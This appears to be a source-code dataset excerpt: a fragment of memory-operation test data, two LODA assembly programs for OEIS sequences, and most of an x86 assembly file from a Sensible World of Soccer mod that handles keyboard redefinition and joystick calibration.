{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'00': 5444}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 46.148148 | 2,999 | 0.66252 |
2945889078dc51177c738f0c5d65304cdedb9fc7 | 399 | asm | Assembly | programs/oeis/339/A339051.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/339/A339051.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/339/A339051.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A339051: Even bisection of the infinite Fibonacci word A096270.
; 0,0,1,1,1,0,1,1,1,0,0,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,0,0,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,0,0,1,1,0
mul $0,2
sub $0,1
cal $0,5614 ; The binary complement of the infinite Fibonacci word A003849. Start with 1, apply 0->1, 1->10, iterate, take limit.
mov $1,$0
| 49.875 | 173 | 0.626566 |
ff235bf90eb1a45ccebee661d0f1fffbbabb7691 | 695 | asm | Assembly | oeis/283/A283107.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/283/A283107.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/283/A283107.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A283107: Numbers n such that tau(4*(n - 1)) is prime.
; Submitted by Jamie Morken(s2)
; 2,5,17,257,1025,16385,65537,1048577,67108865,268435457,17179869185,274877906945,1099511627777,17592186044417,1125899906842625,72057594037927937,288230376151711745,18446744073709551617,295147905179352825857,1180591620717411303425,75557863725914323419137,1208925819614629174706177,77371252455336267181195265,19807040628566084398385987585,316912650057057350374175801345,1267650600228229401496703205377,20282409603651670423947251286017,81129638414606681695789005144065,1298074214633706907132624082305025
seq $0,298252 ; Even integers n such that n-3 is prime.
mov $1,2
pow $1,$0
mov $0,$1
div $0,64
add $0,1
| 63.181818 | 501 | 0.858993 |
150d84682b011ef823716e94626d89962e4843e5 | 54,505 | asm | Assembly | main/controls.asm | zlatkok/swospp | 27a2d2061af2f46c59f2470b138c7170c45fe03b | [
"MIT"
] | 12 | 2016-02-18T12:53:52.000Z | 2022-02-09T11:07:23.000Z | main/controls.asm | zlatkok/swospp | 27a2d2061af2f46c59f2470b138c7170c45fe03b | [
"MIT"
] | null | null | null | main/controls.asm | zlatkok/swospp | 27a2d2061af2f46c59f2470b138c7170c45fe03b | [
"MIT"
] | null | null | null | ; controls.asm
;
; Controls changing and its menu. Also contains code for new keyboard commands,
; and for InputText patch which enables usage of additional keys while inputing
; text and shift key support.
;
[list -]
%include "swos.inc"
%include "swsmenu.inc"
[list +]
bits 32
extern int2str
extern SaveOptionsIfNeeded
section .text
extern replayStatus
extern rplFrameSkip
extern HandleMPKeys
; RegisterControlsOptions [called from C++]
;
; in:
; eax -> options register callback (see options.c for format details)
;
; Register our options with options manager, so we can save and load later without much effort.
;
global RegisterControlsOptions
RegisterControlsOptions:
pushad ; no idea what changes will callback make
callCdecl eax, "controls", 8, "Player 2 keyboard controls", 26, \
"%1d/pl2Keyboard%1d/codeUp%1d/codeDown%1d/codeLeft%1d/codeRight%1d/codeFire1%1d/codeFire2", \
pl2Keyboard, codeUp, codeDown, codeLeft, codeRight, codeFire1, codeFire2
popad
retn
; HookMainKeysCheck
;
; We've hooked into main key check in the game. Add our additional keyboard commands here.
;
global HookMainKeysCheck
HookMainKeysCheck:
xor eax, eax
mov al, [convertedKey]
push eax
%ifdef DEBUG
cmp al, 'D'
jnz .try_fast_replay
extern ToggleDebugOutput
call ToggleDebugOutput
.try_fast_replay:
%endif
cmp al, 'F'
jnz .try_screen_dump
xor byte [replayStatus], 4
mov byte [rplFrameSkip], 0
jmp short .test_player_keys
.try_screen_dump:
mov ax, [lastKey]
cmp ax, 0x3c ; f2
jnz .test_player_keys
cmp byte [aAsave_256], 'Z'
jbe .dump_it
mov byte [aAsave_256], 'A'
.dump_it:
calla DumpScreen
.test_player_keys:
call TestForPlayerKeys
jz .skip_key
pop eax
%ifndef SENSI_DAYS
call HandleMPKeys
%endif
retn
.skip_key:
pop eax
mov word [lastKey], 0
xor eax, eax
retn
global ShowControlsMenu
ShowControlsMenu:
mov dword [A6], controlsMenu
jmpa ShowMenu
; TestForPlayerKeys
;
; Check if current scan code is used in any player's keyboard controls, and
; return with zero flag set if so.
;
TestForPlayerKeys:
movzx eax, byte [lastKey]
test eax, eax
jz .out
push byte 5
cld
mov edi, UP
pop ecx
repnz scasb
jz .out
cmp byte [pl2Keyboard], 0 ; make sure to check if player2 is on keyboard
jz .not_found_out
push byte 6
mov edi, pl2Codes
pop ecx
repnz scasb
.out:
retn
.not_found_out:
or al, -1
retn
; ControlsMenuInit
;
; Called every time controls menu is entered. Sets entry that corresponds to
; controls configuration to red.
;
ControlsMenuInit:
push byte 6
pop ecx ; ecx = counter, 6 entries
push byte 2
pop edi ; edi = starting entry number
.set_green_loop:
mov [D0], edi
inc edi
calla CalcMenuEntryAddress
mov esi, [A0]
mov word [esi + MenuEntry.backAndFrameColor], 14 ; set all entries to same color
dec ecx
jnz .set_green_loop
cmp byte [pl2Keyboard], 0 ; check if we have second pl. on keyboard
jz .not_pl2_keyboard
push byte 7 ; it is entry 7
jmp short .set_entry_color
.not_pl2_keyboard:
mov ax, [g_joyKbdWord] ; else use g_joyKbdWord as entry index
inc eax ; entries start from 2 and are zero based
push eax
.set_entry_color:
pop dword [D0]
calla CalcMenuEntryAddress
mov esi, [A0]
mov word [esi + MenuEntry.backAndFrameColor], 13 ; set selected entry color
retn
; ControlsOnSelectCommon
;
; Called when some entry is selected. Does all the work with controls changing and
; calibrating.
;
ControlsOnSelectCommon:
mov esi, [A5] ; esi -> this entry
xor ebx, ebx
mov bx, [esi + MenuEntry.ordinal] ; bx = this entry ordinal
dec ebx
dec ebx
mov ecx, ebx ; ecx = controls index zero based
cmp ecx, 5 ; keyboard + keyboard?
jz .2pl_kbd
xor eax, eax
call SetSecondPlayerOnKeyboard
jmp short .inc_ordinal
.2pl_kbd:
sub ecx, byte 2 ; make it look like keyboard + joystick
.inc_ordinal:
inc ecx ; g_joyKbdWord starts from 1, increase ordinal
mov [g_joyKbdWord], cx
or ecx, byte -1 ; ecx will be player number, init to -1
xor eax, eax ; clear eax so that we get zero when shifting
mov ax, [calibrateValues + 2 * ebx] ; get control code
xor esi, esi ; esi will mark joystick number to calibrate
xor edi, edi ; edi will mark keyboard number to redefine
.next_control:
mov word [g_scanCode], 0 ; reset last scan code to zero
inc ecx ; increase player number
mov dl, al ; get control code
shr eax, 8
test dl, dl
jz .clear_controls_out ; if zero, no more controls
cmp dl, 1
mov ebx, kbdVars
jnz .not_kbd
mov ebx, [ebx + 4 * edi] ; set ebx -> vars to set
call RedefineKeys ; keyboard
test edi, edi
jz .keyboard1
push eax
or eax, -1 ; patch code for second keyboard player
call SetSecondPlayerOnKeyboard
pop eax
.keyboard1:
inc edi ; next time it will be second keyboard
jmp short .next_control
.not_kbd:
call CalibrateJoystick ; joystick
jc .out ; check if error
inc esi ; next time it will be joystick 2
jmp short .next_control
.clear_controls_out:
push byte 105 ; save changes to setup.dat
mov dword [A0], aSetup_dat
mov dword [A1], setupDatBuffer
pop dword [D1]
calla WriteFile
call SaveOptionsIfNeeded
.out:
xor eax, eax
mov [controlWord], ax ; reset all control variables because int9 could happen
mov [g_joy1Status], ax ; in the middle of this function, and variables could be
mov [g_joy2Status], ax ; erroneously set before new scan codes
call ControlsMenuInit ; set color of newly selected entry
WriteToLog "New controls set, g_joyKbdWord = %hd", dword [g_joyKbdWord]
WriteToLog "numLoopsJoy1 = %hd, numLoopsJoy2 = %hd", g_numLoopsJoy1, g_numLoopsJoy2
retn
; Player2KeyProc
;
; When patched in, will be called directly from keyboard handler, from
; SetControlWord. Updates second player control bitfields (joy2Status).
;
Player2KeyProc:
push eax ; ax contains scan code
movzx ebx, word [g_joy2Status]
test al, 0x80 ; if high bit is set, key was released
jnz .key_released
or ebx, 0x80 ; hi bit of status is 1 if any key was pressed
cmp al, [codeFire1]
jnz .not_fire1
or ebx, 0x20
.not_fire1:
cmp al, [codeFire2]
jnz .not_fire2
or ebx, 0x40
.not_fire2:
cmp al, [codeRight]
jnz .not_right
or ebx, 8
and ebx, ~4
.not_right:
cmp al, [codeLeft]
jnz .not_left
or ebx, 4
and ebx, ~8
.not_left:
cmp al, [codeDown]
jnz .not_down
or ebx, 2
and ebx, ~1
.not_down:
cmp al, [codeUp]
jnz .return
or ebx, 1
and ebx, ~2
jmp short .return
.key_released:
and al, 0x7f ; get rid of high bit and see what was released
and ebx, 0x7f ; also clear status high bit - key released
cmp al, [codeFire1]
jnz .not_fire1_rel
and ebx, ~32
.not_fire1_rel:
cmp al, [codeFire2]
jnz .not_fire2_rel
and ebx, ~64
.not_fire2_rel:
cmp al, [codeRight]
jnz .not_right_rel
and ebx, ~8
.not_right_rel:
cmp al, [codeLeft]
jnz .not_left_rel
and ebx, ~4
.not_left_rel:
cmp al, [codeDown]
jnz .not_down_rel
and ebx, ~2
.not_down_rel:
cmp al, [codeUp]
jnz .return
and ebx, ~1
.return:
mov [g_joy2Status], bx
mov bx, [controlWord]
pop eax ; restore scan code
retn
; SetSecondPlayerOnKeyboard
;
; in:
; al - keyboard 2 on or off (boolean)
;
; Turns support for second player on keyboard on or off.
;
global SetSecondPlayerOnKeyboard
SetSecondPlayerOnKeyboard:
push esi
push edi
push ecx
mov ecx, eax
mov edx, DummyInt9 ; install dummy int9 handler, to exclude possibility
or eax, byte -1 ; of keyboard handler running while we are changing it
call InstallKeyboardHandler
mov esi, PatchSetControlWord
mov edi, SetControlWord + 6
test cl, cl
jz .patch_it_back
mov byte [pl2Keyboard], 1
push byte 7
mov byte [Joy2SetStatus], 0xc3
mov byte [Player1StatusProc + 8], 0x74
mov byte [Player2StatusProc + 8], 0xeb
pop ecx
rep movsb
.out:
sti ; restore interrupts
xor eax, eax
call InstallKeyboardHandler ; return old keyboard handler
pop ecx
pop edi
pop esi
retn
.patch_it_back: ; restore as it was
mov byte [pl2Keyboard], 0
push byte 7
mov byte [Joy2SetStatus], 0x66
mov byte [Player1StatusProc + 8], 0x75
mov byte [Player2StatusProc + 8], 0x74
pop ecx
mov esi, UnpatchSetControlWord
rep movsb
jmp short .out
PatchSetControlWord: ; just a data to patch
calla Player2KeyProc, ebx
UnpatchSetControlWord:
mov bx, [controlWord]
; RedefineKeys
;
; in:
; ebx -> 5 + player number bytes array to store key codes
; ecx - player number, 0 or 1
; edi - keyboard number, 0 or 1
;
; Redefine keys for specified player. Draws menu.
;
RedefineKeys:
push eax
push ecx
push edx
push esi
push edi ; edi must be pushed last
mov edx, edi
add edx, byte 5 ; edx = max. number of selected keys
.redefine_keys:
xor esi, esi ; esi = current number of selected keys
mov word [g_scanCode], 0
.next_key:
cmp esi, edx
ja .ask_redefine
pop edi ; refresh edi
push edi
call DrawSelectKeysMenu
xor edi, edi ; edi = counter for below loop
mov word [D2], 60
mov word [D3], 2
.draw_selected_keys:
cmp edi, esi
jz .check_flip
mov al, [ebx + edi]
push edx
call ScanCode2String
mov word [D1], 137
add word [D2], 10
mov dword [A1], smallCharsTable
mov [A0], edx
pushad
calla DrawMenuText ; draw selected key
popad
pop edx
inc edi
jmp short .draw_selected_keys
.check_flip:
cmp esi, edx
jae .flip_it
mov eax, edi
shl edi, 3
shl eax, 1
add edi, eax
add edi, byte 70 ; edi = 70 + 10 * edi
mov word [D0], 44
mov word [D1], 135
mov [D2], edi ; y = edi
pushad
calla SWOS_DrawSprite ; draw block
popad
.flip_it:
pushad
calla FlipInMenu ; update screen
popad
cmp esi, edx
jae .dont_get_key
call GetScanCode
pop edi ; we need keyboard number for IsScanCodeValid
push edi
call IsScanCodeValid
jc .next_key
mov [ebx + esi], al
.dont_get_key:
inc esi
jmp .next_key
.ask_redefine:
mov word [D1], 160
mov word [D2], 140
mov word [D3], 2
mov dword [A0], redefineStr
mov dword [A1], smallCharsTable
pushad
calla DrawMenuTextCentered
calla FlipInMenu
popad
.get_key:
mov al, [g_scanCode]
cmp al, 0x31 ; 'n'
jz .redefine_keys
cmp al, 0x15 ; 'y'
jnz .get_key
.out:
pop edi
pop esi
pop edx
pop ecx
pop eax
retn
; IsScanCodeValid
;
; in:
; al - scan code to check
; esi - number of scan codes in table
; edi - keyboard number (0 or 1)
; out:
; carry flag: set = scan code invalid, clear = OK
;
; Checks kbdVars array if scan code has been used before.
;
IsScanCodeValid:
push ecx
push edi
push ebx
push eax
mov ecx, esi
xor ebx, ebx
test edi, edi
jnz .keyboard2
inc edi ; clear zero flag in case ecx = 0
mov edi, [kbdVars]
repnz scasb
setnz al
jmp short .out
.keyboard2:
mov edi, [kbdVars + 4] ; zero flag already clear because edi != 0
repnz scasb
setnz bl
inc edi ; clear zero flag in case ecx = 0
push byte 5
mov edi, [kbdVars]
pop ecx
repnz scasb
setnz al
and al, bl
.out:
cmp al, 1
pop eax
pop ebx
pop edi
pop ecx
retn
; DrawSelectKeysMenu
;
; in:
; ecx - player number (0 or 1)
; edi - keyboard number (0 or 1)
;
; Draws menu for selecting keys.
;
DrawSelectKeysMenu:
pushad
push edi
add cl, '1'
mov [aSelectKeysForPlayer + 23], cl
mov ecx, edx
mov esi, [linAdr384k]
mov edi, esi
add esi, 131072
mov ecx, 16000
rep movsd ; draw background
mov edx, smallCharsTable
mov word [D1], 160
mov word [D2], 30
mov word [D3], 2
mov dword [A0], aSelectKeysForPlayer
mov [A1], edx
calla DrawMenuTextCentered
mov word [D1], 82
add word [D2], 40
mov dword [A0], aUp
mov [A1], edx
calla DrawMenuText
mov word [D1], 82
add word [D2], 10
mov dword [A0], aDown
mov [A1], edx
calla DrawMenuText
mov word [D1], 82
add word [D2], 10
mov dword [A0], aLeft
mov [A1], edx
calla DrawMenuText
mov word [D1], 82
add word [D2], 10
mov dword [A0], aRight
mov [A1], edx
calla DrawMenuText
mov word [D1], 82
add word [D2], 10
mov dword [A0], aFire
mov [A1], edx
calla DrawMenuText
pop ecx
test ecx, ecx
jz .out
mov word [D1], 82
add word [D2], 10
mov dword [A0], aBench
mov [A1], edx
calla DrawMenuText
.out:
popad
retn
; GetScanCode
;
; out:
; al - scan code of next pressed key
;
; Waits for a keypress, and returns its scan code in al.
;
GetScanCode:
push ebx
push ecx
push edx
mov ecx, 1000
.get_code:
push ecx
or eax, byte -1
mov edx, KeyboardHandler
call InstallKeyboardHandler
mov byte [g_scanCode], 0
.get_code_loop:
mov al, [g_scanCode]
or al, al
jz .get_code_loop
.key_up_loop:
or al, al
jge .return_old_handler
mov al, [g_scanCode]
jmp short .key_up_loop
.return_old_handler:
push eax
xor eax, eax ; uninstall keyboard handler
call InstallKeyboardHandler
pop eax
pop ecx
cmp al, 0x2a
jnz .out
dec ecx
jnz .get_code
.out:
pop edx
pop ecx
pop ebx
retn
; KeyboardHandler
;
; out:
; g_scanCode - last pressed key scan code
;
; Reads a scan code from keyboard controller in response to keyboard interrupt
; and puts it into g_scanCode variable.
;
KeyboardHandler:
push eax
push ecx
cli
in al, 0x60
mov ah, al
in al, 0x61
or al, 0x80 ; disable keyboard
out 0x61, al
mov [g_scanCode], ah
mov al, 0x20
out 0x20, al
sti
pop ecx
pop eax
DummyInt9: ; to be sure when patching SWOS int9 handler
iret
; ScanCode2String
;
; in:
; al - scan code
; out:
; edx -> string from scan code
;
; Converts scan code to printable string.
;
ScanCode2String:
push esi
push ebx
mov esi, keyTable
xor ebx, ebx
mov bl, al
.search:
lodsb
cmp al, 0xff
jz .not_found
cmp al, bl
jz .found_it
xor eax, eax
lodsb
add esi, eax
jmp .search
.found_it: ; got it!
lodsb ; skip length byte
mov edx, esi
jmp short .out
.not_found:
sub bl, 2
mov al, bl
mov esi, oneCharTable
and al, 0x7f
cmp al, oneCharTableSize
ja .unknown
mov al, [esi + ebx]
test al, al
jz .unknown
mov [keyStrBuf], al
mov byte [keyStrBuf + 1], 0
mov edx, keyStrBuf
jmp short .out
.unknown:
mov edx, aUnknownKey ; don't know this scan code
.out:
pop ebx
pop esi
retn
; VerifyJoysticks
;
; Test joysticks for disconnection, and if any is found update g_joyKbdWord not to use it.
;
global VerifyJoysticks
VerifyJoysticks:
xor ebx, ebx
call ReadJoystickValues
test ebp, ebp
jz .out
cmp ebp, 3 ; joystick timeout, check is it just one or both
jb .at_least_one_joystick_alive
WriteToLog "Both joysticks disconnected, setting controls to keyboard only"
mov word [g_joyKbdWord], 1
retn
.at_least_one_joystick_alive:
cmp word [g_joyKbdWord], 5
jnz .out
WriteToLog "One joystick still connected, setting controls to keyboard+joystick"
dec word [g_joyKbdWord]
.out:
retn
; CheckIfJoystickDisconnected
;
; Prevent controls locking in case any joystick has been disconnected, and fix g_joyKbdWord accordingly.
; If down+right combination was running continuously for 3 seconds do full test for disconnection.
; Do the test at most once per second. This is executed each frame while in menus.
;
declareStatic m_joy1BottomRightFrames, 1
declareStatic m_joy2BottomRightFrames, 1
declareStatic m_lastJoystickTestTick, 2
kJoystickCheckTimeout equ 3 * 70
global CheckIfJoystickDisconnected
CheckIfJoystickDisconnected:
cmp word [g_joyKbdWord], 1
jz .out
mov ax, [g_currentTick]
sub ax, [m_lastJoystickTestTick]
cmp ax, 70 ; run at most once per second
jl .out
mov ax, [g_joy1X] ; check if we had maximum bottom right joystick values last frame
cmp ax, [g_joy1MaxX]
jb .reset_joy1_timer
mov ax, [g_joy1Y]
cmp ax, [g_joy1MaxY]
jb .reset_joy1_timer
inc byte [m_joy1BottomRightFrames] ; increase consecutive timer and test if past 3 seconds
cmp byte [m_joy1BottomRightFrames], kJoystickCheckTimeout
jb .test_joy2
.test_if_connected:
call VerifyJoysticks
mov ax, [g_currentTick]
mov [m_lastJoystickTestTick], ax
xor eax, eax
mov [m_joy1BottomRightFrames], al
mov [m_joy2BottomRightFrames], al
retn
.reset_joy1_timer:
mov byte [m_joy1BottomRightFrames], 0
.test_joy2:
mov ax, [g_joy2X]
cmp ax, [g_joy2MaxX]
jb .reset_joy2_timer
mov ax, [g_joy2Y]
cmp ax, [g_joy2MaxY]
jb .reset_joy2_timer
inc byte [m_joy2BottomRightFrames]
cmp byte [m_joy2BottomRightFrames], kJoystickCheckTimeout
jae .test_if_connected
jmp .out
.reset_joy2_timer:
mov byte [m_joy2BottomRightFrames], 0
.out:
retn
defaultValues:
dw 127, 127 ; center values
dd 0
dw 1, 1 ; minimum values
dw 254, 254 ; maximum values
dw 126, 127 ; divisor for left/right values
dw 126, 127 ; divisor for top/bottom values
defaultValuesLength equ $ - defaultValues
; SetDefaultCalibrationValues
;
; Apply default calibration values to SWOS that work well with DOSBox.
;
extern memcpy
SetDefaultCalibrationValues:
push byte defaultValuesLength
pop ecx
mov eax, g_joy1CenterX
mov edx, defaultValues
push edx
push ecx
call memcpy
pop ecx
pop edx
mov eax, g_joy2CenterX
call memcpy
mov dword [g_numLoopsJoy1], 0xfe00fe00
mov dword [g_joy1Fire1], 0xfefffeff ; set both joystick fire buttons to -1 and -2 respectively
retn
; CalibrateJoystick
;
; in:
; ecx - player number (0 or 1)
; esi - joystick number (0 or 1) to calibrate
; out:
; carry flag: set = error, clear = OK
;
; Draws menu and calibrates joystick. Joystick number decides which joystick are we calibrating.
; Player number is only for display. Doesn't change any of the registers.
;
extern GetCalibrateJoysticksOption, DOSBoxDetected
CalibrateJoystick:
push eax
push edi
push esi ; esi must be pushed one before last
push ecx ; ecx must be pushed last
call GetCalibrateJoysticksOption
test al, al
jnz .recalibrate
call ReadJoystickValues
call CheckJoystickTimeout
jc .joy_error ; even if we're not calibrating still check if a joystick is connected
call DOSBoxDetected
test eax, eax
jz .out
call SetDefaultCalibrationValues
jmp .out
.recalibrate:
mov word [g_scanCode], 0
mov bl, [joyButtonsMask + esi]
push byte 4
mov esi, joyCalibrationValues + 8
pop ecx ; skipping 4 values
.init_skip_values_loop:
or dword [esi], 0x8000 ; skip all values except first two
add esi, byte 4
dec ecx
jnz .init_skip_values_loop
mov eax, joyCalibrationValues
sub esi, byte 3 * 8
and dword [esi], ~0x8000 ; mark first two values for reading - they will be read now
and dword [esi + 4], ~0x8000
mov edx, smallCharsTable
call ClearJoystickButtons ; get rid of possible previous button press
add esi, 8 ; esi -> current calibration value
xor edx, edx ; current value ordinal
mov edi, calibrationTitleStrings
.calibrate_axis_input_loop:
call ReadJoystickValuesForCalibration
call CheckJoystickTimeout
jc .joy_error
call SetupJoystickMenuValues
mov eax, [edi]
call DrawJoystickAxisCalibrationMenu
mov al, [joyButtons]
and al, bl
jz .calibrate_axis_input_loop
call ClearJoystickButtons
add edi, 4
and dword [esi], ~0x8000
and dword [esi + 4], ~0x8000
add esi, 8
inc edx
cmp edx, 3
jb .calibrate_axis_input_loop
mov ecx, [esp + 4] ; get joystick number
lea esi, [joyButtonPointers + 8 * ecx] ; select joy 1 or 2
xor edx, edx ; button index
.calibrate_buttons_loop:
call ReadJoystickValuesForCalibration
call CheckJoystickTimeout
jc .joy_error
call PromptForJoystickButton
test al, al
jz .calibrate_buttons_loop
.save_button:
mov edi, [esi + 4 * edx] ; select button 1 or 2
mov [edi], al ; write selected button value
inc edx
call ClearJoystickButtons
cmp edx, byte 2
jl .calibrate_buttons_loop
mov ecx, [esp + 4]
mov esi, [joyVars + 4 * ecx] ; write out divisors and number of loops
call ApplyCalibrationValues
call ClearJoystickButtons ; get rid of left over button presses
pop ecx
push ecx
call DrawJoystickCalibrationMenuBase ; get rid of "press special fire" message
mov word [D1], 160
mov word [D2], 50
mov word [D3], 2
mov dword [A0], aCalibrateAgain
mov edx, smallCharsTable
mov [A1], edx
calla DrawMenuTextCentered ; ask user if (s)he wishes to do calibration again
calla FlipInMenu
mov esi, [esp + 4] ; restore esi for another possible loop
.get_key:
mov al, [g_scanCode] ; get answer to recalibrate question
cmp al, 0x15 ; 'y'
jz .recalibrate
cmp al, 0x31 ; 'n'
jnz .get_key
clc
.out:
pop ecx
pop esi
pop edi
pop eax
retn
.joy_error:
mov word [g_joyKbdWord], 1 ; set to keyboard only
cmp word [g_scanCode], 0x01 ; if user pressed escape, than there
stc ; is no need for showing error menu
jz .out
mov dword [A0], aJoystickError
calla ShowErrorMenu
stc
jmp short .out
; SetupJoystickMenuValues
;
; in:
; [esp + 4] - joystick number
; edx - offset in joyCalibrationValues of variables to set:
; x | y | value
; --------+--------+-------
; left | up | 0
; right | down | 1
; center | center | 2
;
SetupJoystickMenuValues:
mov ecx, [esp + 4] ; get joystick number
push esi
shl ecx, 2
mov ebp, [joyVars + ecx] ; ebp -> variable pointer list for a given joystick
mov ax, [joyXRead + ecx]
mov [joyCalibrationValues + 2 + 8 * edx], ax
mov esi, [ebp + 4 * edx]
mov [esi], ax
mov ax, [joyYRead + ecx]
mov [joyCalibrationValues + 6 + 8 * edx], ax
mov esi, [ebp + 4 * edx + 4]
mov [esi], ax
pop esi
retn
; CheckJoystickTimeout
;
; in:
; ebp - timeout flags:
; bit 0 set: joystick 1 timed out
; bit 1 set: joystick 2 timed out
; [esp + 8] - joystick number, 0 or 1
; out:
; carry flag: set if error, clear if OK
;
; Helper routine of CalibrateJoystick. Checks if given joystick readings have
; resulted with a timeout, or escape was pressed. Sets carry flag if any of it happened.
;
CheckJoystickTimeout:
cmp word [g_scanCode], 0x01
jnz .check_timeout
stc
retn
.check_timeout:
push ecx
mov ecx, [esp + 8]
inc ecx
shr ebp, cl ; shift timed-out bit into carry
pop ecx
retn
; ApplyCalibrationValues
;
; in:
; esi - pointer into joyCalibrationValues
;
; Applies values obtained from calibration to SWOS.
;
ApplyCalibrationValues:
mov ebp, [esi + joyXCenterPtr]
mov ax, [joyCalibrationXCenter]
mov [ebp], ax
mov ebp, [esi + joyXLeftPtr]
mov bx, [joyCalibrationXLeft]
mov [ebp], bx
sub ax, bx
mov ebp, [esi + joyXLeftDivPtr]
mov [ebp], ax
mov ebp, [esi + joyXRightPtr]
mov ax, [joyCalibrationXRight]
mov [ebp], ax
mov ebp, [esi + joyXRightDivPtr]
sub ax, [joyCalibrationXCenter]
mov [ebp], ax
mov ebp, [esi + joyYCenterPtr]
mov ax, [joyCalibrationYCenter]
mov [ebp], ax
mov ebp, [esi + joyYUpPtr]
mov bx, [joyCalibrationYUp]
mov [ebp], bx
sub ax, bx
mov ebp, [esi + joyYTopDivPtr]
mov [ebp], ax
mov ebp, [esi + joyYDownPtr]
mov ax, [joyCalibrationYDown]
mov [ebp], ax
mov ebp, [esi + joyYBottomDivPtr]
sub ax, [joyCalibrationYCenter]
mov [ebp], ax
